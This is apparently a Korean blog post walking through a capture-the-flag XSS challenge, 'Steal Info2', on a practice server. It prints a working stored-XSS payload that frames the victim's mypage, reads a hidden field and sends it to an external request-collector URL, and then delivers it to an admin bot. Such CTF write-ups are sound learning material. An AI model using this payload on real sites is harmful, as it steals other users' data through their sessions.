[CTF] Steal Info2

CHIKA·2024년 7월 2일

📌
XSS (Cross Site Scripting)
Client Script 활용

1. XSS 포인트 찾기


마이페이지에 flag가 있다하니 마이페이지 먼저 들어가보자.
파라미터 user를 전달하고 있어서 다른 입력값을 넣어봤다.


입력값이 어디서도 뜨지 않고 있다.

그럼 게시판에 가보자.
특수문자 삽입가능 여부 확인 위해 test<'"> 입력

posting_contents 에서는 HTML Entity 표현으로 바뀌지 않고 있다.

스크립트 작동여부 확인 위해 alert(1)부터 출력해보자.

작성 후 해당 게시물 클릭

XSS 포인트 확인!

2. iframe으로 mypage.php 삽입하기


<iframe src="http://ctf.segfaulthub.com:4343/scriptPrac2/mypage.php" id="targetFrame"></iframe>

3. mypage.php DOM 요소 확인



셋 중 하나에 플래그가 있을 것이다.

어디에 있을지 모르니 input name = id 부터 가져와 보자.

<iframe src="http://ctf.segfaulthub.com:4343/scriptPrac2/mypage.php" id="targetFrame"></iframe>
<script>
    var targetTag = document.getElementById('targetFrame');
    targetTag.onload = function() {
        var DOMData = targetTag.contentDocument;
alert(DOMData.getElementsByName('id')[0].placeholder);
};
    
</script>

4. 관리자 정보 탈취하기


원하는 정보가 뜨니 공격자 서버로 보내본다.

<iframe src="http://ctf.segfaulthub.com:4343/scriptPrac2/mypage.php" id="targetFrame"></iframe>
<script>
    var targetTag = document.getElementById('targetFrame');
    targetTag.onload = function() {
        var DOMData = targetTag.contentDocument;
var secretData= DOMData.getElementsByName('id')[0].placeholder;
var i =new Image();
i.src=`https://en2hyoic3j7mi.x.pipedream.net/?SecretData=${secretData}`

};
    
</script>

게시물을 클릭하니 내가 원하는 정보가 공격자 서버로 보내진다.

해당 URL을 관리자 봇에 보내보자.


값이 안넘어온다. 그럼 input name = info 정보를 가져와보자.


두번째 input의 정보가 넘어온다.
해당 URL을 관리자 봇에게 보내자.


관리자 정보 탈취 완료!

0개의 댓글